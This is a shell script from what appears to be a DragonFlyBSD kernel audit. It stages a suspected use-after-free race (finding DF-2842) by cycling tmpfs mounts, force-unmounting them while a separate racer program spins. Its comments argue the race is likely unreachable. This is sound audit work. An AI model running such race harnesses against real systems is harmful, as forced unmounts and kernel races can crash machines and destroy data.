DragonFlyBSD Kernel Audit
DF-2842 / cycler.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2842 staging - root cooperation required (umount -f is the only
# vclean path that runs on a referenced vnode).
#
# Cycles a tmpfs mount; each umount -f drives vclean -> vm_object_terminate
# -> vnode_pager_dealloc -> kfree_obj for every object on the mount while
# the racer spins through vnode_pager_reference().
#
# NOTE (honest staging analysis): dounmount()'s retry loop SIGINTs (retry 3)
# and SIGKILLs (retry 7) every process holding a descriptor on the mount
# BEFORE VFS_UNMOUNT() terminates the objects, so an fd-holding racer is
# dead before the free sweep - see VERDICT.md.  We restart it each cycle
# anyway to measure the real-world hit rate honestly.
DIR=/mnt/race
USER=${1:-test}
DUR=${2:-120}

mkdir -p $DIR
end=$(( $(date +%s) + DUR ))
cycles=0
su -m $USER -c "cc -O2 -o /tmp/racer /root/df2842/racer.c" || \
    cc -O2 -o /tmp/racer /root/df2842/racer.c

while [ $(date +%s) -lt $end ]; do
	mount -t tmpfs tmpfs $DIR || { sleep 1; continue; }
	i=0
	while [ $i -lt 256 ]; do
		dd if=/dev/zero of=$DIR/f$(printf %05d $i) bs=4k count=1 \
		    status=none
		i=$((i+1))
	done
	su -m $USER -c "/tmp/racer $DIR 256 4 >/dev/null 2>/tmp/racer.err" &
	rpid=$!
	sleep 3			# racer spins with fds open
	umount -f $DIR 2>&1
	kill -9 $rpid 2>/dev/null
	wait 2>/dev/null
	cycles=$((cycles+1))
done
echo "cycles=$cycles"